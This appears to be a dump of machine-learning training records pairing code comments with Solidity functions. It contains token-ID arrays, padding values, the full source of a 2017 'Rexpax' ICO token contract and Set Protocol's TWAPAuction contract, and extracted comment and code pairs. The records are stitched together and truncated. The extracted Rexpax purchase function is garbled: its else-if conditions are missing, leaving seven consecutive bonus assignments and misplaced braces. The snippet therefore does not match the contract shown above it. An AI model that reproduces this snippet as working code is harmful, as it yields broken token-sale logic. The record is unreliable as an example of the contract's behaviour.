-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0xcD1e5a7cfd56a99d57AaE976A0530826a600a2b3
//Contract name: Rexpax
//Balance: 0 Ether
//Verification Date: 12/5/2017
//Transacion Count: 35
// CODE STARTS HERE
pragma solidity 0.4.18;
contract owned {
address public owner;
// The one who sent Rexpax the contract to the blockchain, will automatically become the owner of the contract
function owned() internal {
owner = msg.sender;
}
// The function containing this modifier can only call the owner of the contract
modifier onlyOwner {
require(owner == msg.sender);
_;
}
// Change the owner of the contract
function changeOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
// Functions for safe operation with input values (subtraction and addition)
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ERC20 interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256 balance);
function allowance(address owner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AdvancedToken is ERC20, owned {
using SafeMath for uint256;
// Stores the balances of all holders of the tokens, including the owner of the contract
mapping (address => uint256) internal balances;
// The event informs that N tokens have been destroyed
event Burn(address indexed from, uint256 value);
// Creates the required number of tokens on the specified account
function mintTokens(address _who, uint256 amount) internal returns(bool) {
require(_who != address(0));
totalSupply = totalSupply.add(amount);
balances[_who] = balances[_who].add(amount);
Transfer(this, _who, amount);
return true;
}
// Burns tokens on the contract, without affecting the token holders and the owner of the contract
function burnTokens(uint256 _value) public onlyOwner {
require(balances[this] > 0);
balances[this] = balances[this].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(this, _value);
}
// Withdraws tokens from the contract if they accidentally or on purpose was it placed there
function withdrawTokens(uint256 _value) public onlyOwner {
require(balances[this] > 0 && balances[this] >= _value);
balances[this] = balances[this].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
Transfer(this, msg.sender, _value);
}
// Withdraws all the ether from the contract to the owner account
function withdrawEther(uint256 _value) public onlyOwner {
require(this.balance >= _value);
owner.transfer(_value);
}
}
contract ICO is AdvancedToken {
using SafeMath for uint256;
enum State { Presale, waitingForICO, ICO, Active }
State public contract_state = State.Presale;
uint256 private startTime;
uint256 private presaleMaxSupply;
uint256 private marketMaxSupply;
event NewState(State state);
// Purchasing tokens is only allowed for Presale and ICO contract states
modifier crowdsaleState {
require(contract_state == State.Presale || contract_state == State.ICO);
_;
}
// Call functions transfer transferFrom and approve, is only allowed with Active state of the contract
modifier activeState {
require(contract_state == State.Active);
_;
}
// The initialization values when the contract has been mined to the blockchain
function ICO() internal {
// For the tests replace 1512482400 to "now"
startTime = 1512482400; // 05 dec 2017 9:00AM EST (Tue, 05 Dec 2017 14:00:00 GMT)
presaleMaxSupply = 190000000 * 1 ether;
marketMaxSupply = 1260000000 * 1 ether;
}
// The function of purchasing tokens
function () private payable crowdsaleState {
require(msg.value >= 0.01 ether);
require(now >= startTime);
uint256 currentMaxSupply;
uint256 tokensPerEther = 46500;
uint256 _tokens = tokensPerEther * msg.value;
uint256 bonus = 0;
// PRE-SALE calculation of bonuses
if (contract_state == State.Presale) {
// PRE-SALE supply limit
currentMaxSupply = presaleMaxSupply;
// For the tests replace days to minutes
if (now <= startTime + 1 days) {
bonus = 25;
} else if (now <= startTime + 2 days) {
bonus = 20;
} else if (now <= startTime + 3 days) {
bonus = 15;
} else if (now <= startTime + 4 days) {
bonus = 10;
} else if (now <= startTime + 5 days) {
bonus = 7;
} else if (now <= startTime + 6 days) {
bonus = 5;
} else if (now <= startTime + 7 days) {
bonus = 3;
}
// ICO supply limit
} else {
currentMaxSupply = marketMaxSupply;
}
_tokens += _tokens * bonus / 100;
uint256 restTokens = currentMaxSupply - totalSupply;
// If supplied tokens more that the rest of the tokens, will refund the excess ether
if (_tokens > restTokens) {
uint256 bonusTokens = restTokens - restTokens / (100 + bonus) * 100;
// The wei that the investor will spend for this purchase
uint256 spentWei = (restTokens - bonusTokens) / tokensPerEther;
// Verify that not return more than the incoming ether
assert(spentWei < msg.value);
// Will refund extra ether
msg.sender.transfer(msg.value - spentWei);
_tokens = restTokens;
}
mintTokens(msg.sender, _tokens);
}
// Finish the PRE-SALE period, is required the Presale state of the contract
function finishPresale() public onlyOwner returns (bool success) {
require(contract_state == State.Presale);
contract_state = State.waitingForICO;
NewState(contract_state);
return true;
}
// Start the ICO period, is required the waitingForICO state of the contract
function startICO() public onlyOwner returns (bool success) {
require(contract_state == State.waitingForICO);
contract_state = State.ICO;
NewState(contract_state);
return true;
}
// Finish the ICO and supply 40% share for the contract owner, is required the ICO state of the contract
// For example if we sold 6 tokens (60%), so we need to calculate the share of 40%, by the next formula:
// 6 / 60 * 40 = 4 tokens (40%) -> 6 + 4 = 10 (100%) and change the contract state to Active
// to open the access to the functions 1, 2, 3
function finishICO() public onlyOwner returns (bool success) {
require(contract_state == State.ICO);
mintTokens(owner, (totalSupply / 60) * 40);
contract_state = State.Active;
NewState(contract_state);
return true;
}
}
// See ERC20 interface above
contract Rexpax is ICO {
using SafeMath for uint256;
string public constant name = "Rexpax";
string public constant symbol = "REXX";
uint8 public constant decimals = 18;
mapping (address => mapping (address => uint256)) private allowed;
function balanceOf(address _who) public constant returns (uint256 available) {
return balances[_who];
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public activeState returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public activeState returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public activeState returns (bool success) {
require(_spender != address(0));
require(balances[msg.sender] >= _value);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
|
The function of purchasing tokens PRE-SALE calculation of bonuses PRE-SALE supply limit For the tests replace days to minutes If supplied tokens more that the rest of the tokens, will refund the excess ether The wei that the investor will spend for this purchase Verify that not return more than the incoming ether Will refund extra ether
|
function () private payable crowdsaleState {
require(msg.value >= 0.01 ether);
require(now >= startTime);
uint256 currentMaxSupply;
uint256 tokensPerEther = 46500;
uint256 _tokens = tokensPerEther * msg.value;
uint256 bonus = 0;
if (contract_state == State.Presale) {
currentMaxSupply = presaleMaxSupply;
if (now <= startTime + 1 days) {
bonus = 25;
bonus = 20;
bonus = 15;
bonus = 10;
bonus = 7;
bonus = 5;
bonus = 3;
}
currentMaxSupply = marketMaxSupply;
}
_tokens += _tokens * bonus / 100;
uint256 restTokens = currentMaxSupply - totalSupply;
if (_tokens > restTokens) {
uint256 bonusTokens = restTokens - restTokens / (100 + bonus) * 100;
uint256 spentWei = (restTokens - bonusTokens) / tokensPerEther;
assert(spentWei < msg.value);
msg.sender.transfer(msg.value - spentWei);
_tokens = restTokens;
}
mintTokens(msg.sender, _tokens);
}
| 1,757,153 |
[
1,
1986,
445,
434,
5405,
343,
11730,
2430,
7071,
17,
5233,
900,
11096,
434,
324,
265,
6117,
7071,
17,
5233,
900,
14467,
1800,
2457,
326,
7434,
1453,
4681,
358,
6824,
971,
4580,
2430,
1898,
716,
326,
3127,
434,
326,
2430,
16,
903,
16255,
326,
23183,
225,
2437,
1021,
732,
77,
716,
326,
2198,
395,
280,
903,
17571,
364,
333,
23701,
8553,
716,
486,
327,
1898,
2353,
326,
6935,
225,
2437,
9980,
16255,
2870,
225,
2437,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1832,
3238,
8843,
429,
276,
492,
2377,
5349,
1119,
288,
203,
3639,
2583,
12,
3576,
18,
1132,
1545,
374,
18,
1611,
225,
2437,
1769,
203,
3639,
2583,
12,
3338,
1545,
8657,
1769,
203,
3639,
2254,
5034,
783,
2747,
3088,
1283,
31,
203,
3639,
2254,
5034,
2430,
2173,
41,
1136,
273,
1059,
9222,
713,
31,
203,
3639,
2254,
5034,
389,
7860,
273,
2430,
2173,
41,
1136,
380,
1234,
18,
1132,
31,
203,
3639,
2254,
5034,
324,
22889,
273,
374,
31,
203,
203,
3639,
309,
261,
16351,
67,
2019,
422,
3287,
18,
12236,
5349,
13,
288,
203,
5411,
783,
2747,
3088,
1283,
273,
4075,
5349,
2747,
3088,
1283,
31,
203,
5411,
309,
261,
3338,
1648,
8657,
397,
404,
4681,
13,
288,
203,
7734,
324,
22889,
273,
6969,
31,
203,
7734,
324,
22889,
273,
4200,
31,
203,
7734,
324,
22889,
273,
4711,
31,
203,
7734,
324,
22889,
273,
1728,
31,
203,
7734,
324,
22889,
273,
2371,
31,
203,
7734,
324,
22889,
273,
1381,
31,
203,
7734,
324,
22889,
273,
890,
31,
203,
5411,
289,
203,
5411,
783,
2747,
3088,
1283,
273,
13667,
2747,
3088,
1283,
31,
203,
3639,
289,
203,
203,
3639,
389,
7860,
1011,
389,
7860,
380,
324,
22889,
342,
2130,
31,
203,
3639,
2254,
5034,
3127,
5157,
273,
783,
2747,
3088,
1283,
300,
2078,
3088,
1283,
31,
203,
3639,
309,
261,
67,
7860,
405,
3127,
5157,
13,
288,
203,
5411,
2254,
5034,
324,
22889,
5157,
273,
3127,
5157,
300,
3127,
5157,
342,
261,
6625,
397,
324,
22889,
13,
380,
2130,
31,
203,
5411,
2
] |
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.7;
pragma experimental "ABIEncoderV2";
import { Math } from "openzeppelin-solidity/contracts/math/Math.sol";
import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol";
import { AddressArrayUtils } from "set-protocol-contract-utils/contracts/lib/AddressArrayUtils.sol";
import { BoundsLibrary } from "set-protocol-contract-utils/contracts/lib/BoundsLibrary.sol";
import { CommonMath } from "set-protocol-contract-utils/contracts/lib/CommonMath.sol";
import { Auction } from "../impl/Auction.sol";
import { LinearAuction } from "../impl/LinearAuction.sol";
import { LiquidatorUtils } from "../utils/LiquidatorUtils.sol";
import { IOracleWhiteList } from "../../../core/interfaces/IOracleWhiteList.sol";
import { ISetToken } from "../../../core/interfaces/ISetToken.sol";
import { IRebalancingSetTokenV3 } from "../../../core/interfaces/IRebalancingSetTokenV3.sol";
import { TwoAssetPriceBoundedLinearAuction } from "../impl/TwoAssetPriceBoundedLinearAuction.sol";
/**
* @title TWAPAuction
* @author Set Protocol
*
* Contract for executing TWAP Auctions from initializing to moving to the next chunk auction. Inherits from
* TwoAssetPriceBoundedLinearAuction
*/
contract TWAPAuction is TwoAssetPriceBoundedLinearAuction {
using SafeMath for uint256;
using CommonMath for uint256;
using AddressArrayUtils for address[];
using BoundsLibrary for BoundsLibrary.Bounds;
/* ============ Structs ============ */
struct TWAPState {
LinearAuction.State chunkAuction; // Current chunk auction state
uint256 orderSize; // Beginning amount of currentSets
uint256 orderRemaining; // Amount of current Sets not auctioned or being auctioned
uint256 lastChunkAuctionEnd; // Time of last chunk auction end
uint256 chunkAuctionPeriod; // Time between chunk auctions
uint256 chunkSize; // Amount of current Sets in a full chunk auction
}
struct TWAPLiquidatorData {
uint256 chunkSizeValue; // Currency value of rebalance volume in each chunk (18 decimal)
uint256 chunkAuctionPeriod; // Time between chunk auctions
}
struct AssetPairVolumeBounds {
address assetOne; // Address of first asset in pair
address assetTwo; // Address of second asset in pair
BoundsLibrary.Bounds bounds; // Chunk size volume bounds for asset pair
}
/* ============ Constants ============ */
// Auction completion buffer assumes completion potentially 2% after fair value when auction started
uint256 constant public AUCTION_COMPLETION_BUFFER = 2e16;
/* ============ State Variables ============ */
// Mapping between an address pair's addresses and the min/max USD-chunk size, each asset pair will
// have two entries, one for each ordering of the addresses
mapping(address => mapping(address => BoundsLibrary.Bounds)) public chunkSizeWhiteList;
//Estimated length in seconds of a chunk auction
uint256 public expectedChunkAuctionLength;
/* ============ Constructor ============ */
/**
* TWAPAuction constructor
*
* @param _oracleWhiteList OracleWhiteList used by liquidator
* @param _auctionPeriod Length of auction in seconds
* @param _rangeStart Percentage below FairValue to begin auction at in 18 decimal value
* @param _rangeEnd Percentage above FairValue to end auction at in 18 decimal value
* @param _assetPairVolumeBounds List of chunk size bounds for each asset pair
*/
constructor(
IOracleWhiteList _oracleWhiteList,
uint256 _auctionPeriod,
uint256 _rangeStart,
uint256 _rangeEnd,
AssetPairVolumeBounds[] memory _assetPairVolumeBounds
)
public
TwoAssetPriceBoundedLinearAuction(
_oracleWhiteList,
_auctionPeriod,
_rangeStart,
_rangeEnd
)
{
require(
_rangeEnd >= AUCTION_COMPLETION_BUFFER,
"TWAPAuction.constructor: Passed range end must exceed completion buffer."
);
// Not using CommonMath.scaleFactoor() due to compilation issues related to constructor size
require(
_rangeEnd <= 1e18 && _rangeStart <= 1e18,
"TWAPAuction.constructor: Range bounds must be less than 100%."
);
for (uint256 i = 0; i < _assetPairVolumeBounds.length; i++) {
BoundsLibrary.Bounds memory bounds = _assetPairVolumeBounds[i].bounds;
// Not using native library due to compilation issues related to constructor size
require(
bounds.lower <= bounds.upper,
"TWAPAuction.constructor: Passed asset pair bounds are invalid."
);
address assetOne = _assetPairVolumeBounds[i].assetOne;
address assetTwo = _assetPairVolumeBounds[i].assetTwo;
require(
chunkSizeWhiteList[assetOne][assetTwo].upper == 0,
"TWAPAuction.constructor: Asset pair volume bounds must be unique."
);
chunkSizeWhiteList[assetOne][assetTwo] = bounds;
chunkSizeWhiteList[assetTwo][assetOne] = bounds;
}
// Expected length of a chunk auction, assuming the auction goes 2% beyond initial fair
// value. Used to validate TWAP Auction length won't exceed Set's rebalanceFailPeriod.
// Not using SafeMath due to compilation issues related to constructor size
require(
_auctionPeriod < -uint256(1) / (_rangeStart + AUCTION_COMPLETION_BUFFER),
"TWAPAuction.constructor: Auction period too long."
);
expectedChunkAuctionLength = _auctionPeriod * (_rangeStart + AUCTION_COMPLETION_BUFFER) /
(_rangeStart + _rangeEnd);
require(
expectedChunkAuctionLength > 0,
"TWAPAuction.constructor: Expected auction length must exceed 0."
);
}
/* ============ Internal Functions ============ */
/**
* Populates the TWAPState struct and initiates first chunk auction.
*
* @param _twapAuction TWAPAuction State object
* @param _currentSet The Set to rebalance from
* @param _nextSet The Set to rebalance to
* @param _startingCurrentSetQuantity Quantity of currentSet to rebalance
* @param _chunkSizeValue Value of chunk size in terms of currency represented by
* the oracleWhiteList
* @param _chunkAuctionPeriod Time between chunk auctions
*/
function initializeTWAPAuction(
TWAPState storage _twapAuction,
ISetToken _currentSet,
ISetToken _nextSet,
uint256 _startingCurrentSetQuantity,
uint256 _chunkSizeValue,
uint256 _chunkAuctionPeriod
)
internal
{
// Initialize first chunk auction with the currentSetQuantity to populate LinearAuction struct
// This will be overwritten by the initial chunk auction quantity
LinearAuction.initializeLinearAuction(
_twapAuction.chunkAuction,
_currentSet,
_nextSet,
_startingCurrentSetQuantity
);
// Calculate currency value of rebalance volume
uint256 rebalanceVolume = LiquidatorUtils.calculateRebalanceVolume(
_currentSet,
_nextSet,
oracleWhiteList,
_startingCurrentSetQuantity
);
// Calculate the size of each chunk auction in currentSet terms
uint256 chunkSize = calculateChunkSize(
_startingCurrentSetQuantity,
rebalanceVolume,
_chunkSizeValue
);
// Normalize the chunkSize and orderSize to ensure all values are a multiple of
// the minimum bid
uint256 minBid = _twapAuction.chunkAuction.auction.minimumBid;
uint256 normalizedChunkSize = chunkSize.div(minBid).mul(minBid);
uint256 totalOrderSize = _startingCurrentSetQuantity.div(minBid).mul(minBid);
// Initialize the first chunkAuction to the normalized chunk size
_twapAuction.chunkAuction.auction.startingCurrentSets = normalizedChunkSize;
_twapAuction.chunkAuction.auction.remainingCurrentSets = normalizedChunkSize;
// Set TWAPState
_twapAuction.orderSize = totalOrderSize;
_twapAuction.orderRemaining = totalOrderSize.sub(normalizedChunkSize);
_twapAuction.chunkSize = normalizedChunkSize;
_twapAuction.lastChunkAuctionEnd = 0;
_twapAuction.chunkAuctionPeriod = _chunkAuctionPeriod;
}
/**
* Calculates size of next chunk auction and then starts then parameterizes the auction and overwrites
* the previous auction state. The orderRemaining is updated to take into account the currentSets included
* in the new chunk auction. Function can only be called provided the following conditions have been met:
* - Last chunk auction is finished (remainingCurrentSets < minimumBid)
* - There is still more collateral to auction off
* - The chunkAuctionPeriod has elapsed
*
* @param _twapAuction TWAPAuction State object
*/
function auctionNextChunk(
TWAPState storage _twapAuction
)
internal
{
// Add leftover current Sets from previous chunk auction to orderRemaining
uint256 totalRemainingSets = _twapAuction.orderRemaining.add(
_twapAuction.chunkAuction.auction.remainingCurrentSets
);
// Calculate next chunk auction size as min of chunkSize or orderRemaining
uint256 nextChunkAuctionSize = Math.min(_twapAuction.chunkSize, totalRemainingSets);
// Start new chunk auction by over writing previous auction state and decrementing orderRemaining
overwriteChunkAuctionState(_twapAuction, nextChunkAuctionSize);
_twapAuction.orderRemaining = totalRemainingSets.sub(nextChunkAuctionSize);
}
/* ============ Internal Helper Functions ============ */
/**
* Resets state for next chunk auction (except minimumBid and token flow arrays)
*
* @param _twapAuction TWAPAuction State object
* @param _chunkAuctionSize Size of next chunk auction
*/
function overwriteChunkAuctionState(
TWAPState storage _twapAuction,
uint256 _chunkAuctionSize
)
internal
{
_twapAuction.chunkAuction.auction.startingCurrentSets = _chunkAuctionSize;
_twapAuction.chunkAuction.auction.remainingCurrentSets = _chunkAuctionSize;
_twapAuction.chunkAuction.auction.startTime = block.timestamp;
_twapAuction.chunkAuction.endTime = block.timestamp.add(auctionPeriod);
// Since currentSet and nextSet param is not used in calculating start and end price on
// TwoAssetPriceBoundedLinearAuction we can pass in zero addresses
_twapAuction.chunkAuction.startPrice = calculateStartPrice(
_twapAuction.chunkAuction.auction,
ISetToken(address(0)),
ISetToken(address(0))
);
_twapAuction.chunkAuction.endPrice = calculateEndPrice(
_twapAuction.chunkAuction.auction,
ISetToken(address(0)),
ISetToken(address(0))
);
}
/**
* Validates that chunk size is within asset bounds and passed chunkAuctionLength
* is unlikely to push TWAPAuction beyond rebalanceFailPeriod.
*
* @param _currentSet The Set to rebalance from
* @param _nextSet The Set to rebalance to
* @param _startingCurrentSetQuantity Quantity of currentSet to rebalance
* @param _chunkSizeValue Value of chunk size in terms of currency represented by
* the oracleWhiteList
* @param _chunkAuctionPeriod Time between chunk auctions
*/
function validateLiquidatorData(
ISetToken _currentSet,
ISetToken _nextSet,
uint256 _startingCurrentSetQuantity,
uint256 _chunkSizeValue,
uint256 _chunkAuctionPeriod
)
internal
view
{
// Calculate currency value of rebalance volume
uint256 rebalanceVolume = LiquidatorUtils.calculateRebalanceVolume(
_currentSet,
_nextSet,
oracleWhiteList,
_startingCurrentSetQuantity
);
BoundsLibrary.Bounds memory volumeBounds = getVolumeBoundsFromCollateral(_currentSet, _nextSet);
validateTWAPParameters(
_chunkSizeValue,
_chunkAuctionPeriod,
rebalanceVolume,
volumeBounds
);
}
/**
* Validates passed in parameters for TWAP auction
*
* @param _chunkSizeValue Value of chunk size in terms of currency represented by
* the oracleWhiteList
* @param _chunkAuctionPeriod Time between chunk auctions
* @param _rebalanceVolume Value of collateral being rebalanced
* @param _assetPairVolumeBounds Volume bounds of asset pair
*/
function validateTWAPParameters(
uint256 _chunkSizeValue,
uint256 _chunkAuctionPeriod,
uint256 _rebalanceVolume,
BoundsLibrary.Bounds memory _assetPairVolumeBounds
)
internal
view
{
// Bounds and chunkSizeValue denominated in currency value
require(
_assetPairVolumeBounds.isWithin(_chunkSizeValue),
"TWAPAuction.validateTWAPParameters: Passed chunk size must be between bounds."
);
// Want to make sure that the expected length of the auction is less than the rebalanceFailPeriod
// or else a legitimate auction could be failed. Calculated as such:
// expectedTWAPTime = numChunkAuctions * expectedChunkAuctionLength + (numChunkAuctions - 1) *
// chunkAuctionPeriod
uint256 numChunkAuctions = _rebalanceVolume.divCeil(_chunkSizeValue);
uint256 expectedTWAPAuctionTime = numChunkAuctions.mul(expectedChunkAuctionLength)
.add(numChunkAuctions.sub(1).mul(_chunkAuctionPeriod));
uint256 rebalanceFailPeriod = IRebalancingSetTokenV3(msg.sender).rebalanceFailPeriod();
require(
expectedTWAPAuctionTime < rebalanceFailPeriod,
"TWAPAuction.validateTWAPParameters: Expected auction duration exceeds allowed length."
);
}
/**
* The next chunk auction can begin when the previous auction has completed, there are still currentSets to
* rebalance, and the auction period has elapsed.
*
* @param _twapAuction TWAPAuction State object
*/
function validateNextChunkAuction(
TWAPState storage _twapAuction
)
internal
view
{
Auction.validateAuctionCompletion(_twapAuction.chunkAuction.auction);
require(
isRebalanceActive(_twapAuction),
"TWAPState.validateNextChunkAuction: TWAPAuction is finished."
);
require(
_twapAuction.lastChunkAuctionEnd.add(_twapAuction.chunkAuctionPeriod) <= block.timestamp,
"TWAPState.validateNextChunkAuction: Not enough time elapsed from last chunk auction end."
);
}
/**
* Checks if the amount of Sets still to be auctioned (in aggregate) is greater than the minimumBid
*
* @param _twapAuction TWAPAuction State object
*/
function isRebalanceActive(
TWAPState storage _twapAuction
)
internal
view
returns (bool)
{
// Sum of remaining Sets in current chunk auction and order remaining
uint256 totalRemainingSets = calculateTotalSetsRemaining(_twapAuction);
// Check that total remaining sets is greater than minimumBid
return totalRemainingSets >= _twapAuction.chunkAuction.auction.minimumBid;
}
/**
* Calculates chunkSize of auction in current Set terms
*
* @param _totalSetAmount Total amount of Sets being auctioned
* @param _rebalanceVolume The total currency value being auctioned
* @param _chunkSizeValue Value of chunk size in currency terms
*/
function calculateChunkSize(
uint256 _totalSetAmount,
uint256 _rebalanceVolume,
uint256 _chunkSizeValue
)
internal
view
returns (uint256)
{
// Since solidity rounds down anything equal to 1 will require at least one auction
// equal to the chunkSizeValue
if (_rebalanceVolume.div(_chunkSizeValue) >= 1) {
return _totalSetAmount.mul(_chunkSizeValue).div(_rebalanceVolume);
} else {
return _totalSetAmount;
}
}
/**
* Calculates the total remaining sets in the auction between the currently underway chunk auction and
* the Sets that have yet to be included in a chunk auction.
*
* @param _twapAuction TWAPAuction State object
*/
function calculateTotalSetsRemaining(TWAPAuction.TWAPState storage _twapAuction)
internal
view
returns (uint256)
{
return _twapAuction.orderRemaining.add(_twapAuction.chunkAuction.auction.remainingCurrentSets);
}
/**
* Returns asset pair volume bounds based on passed in collateral Sets.
*
* @param _currentSet The Set to rebalance from
* @param _nextSet The Set to rebalance to
*/
function getVolumeBoundsFromCollateral(
ISetToken _currentSet,
ISetToken _nextSet
)
internal
view
returns (BoundsLibrary.Bounds memory)
{
// Get set components
address[] memory currentSetComponents = _currentSet.getComponents();
address[] memory nextSetComponents = _nextSet.getComponents();
address firstComponent = currentSetComponents [0];
address secondComponent = currentSetComponents.length > 1 ? currentSetComponents [1] :
nextSetComponents [0] != firstComponent ? nextSetComponents [0] : nextSetComponents [1];
return chunkSizeWhiteList[firstComponent][secondComponent];
}
function parseLiquidatorData(
bytes memory _liquidatorData
)
internal
pure
returns (uint256, uint256)
{
return abi.decode(_liquidatorData, (uint256, uint256));
}
}
|
Address of first asset in pair
|
address assetOne;
| 12,726,486 |
[
1,
1887,
434,
1122,
3310,
316,
3082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
1758,
3310,
3335,
31,
10792,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
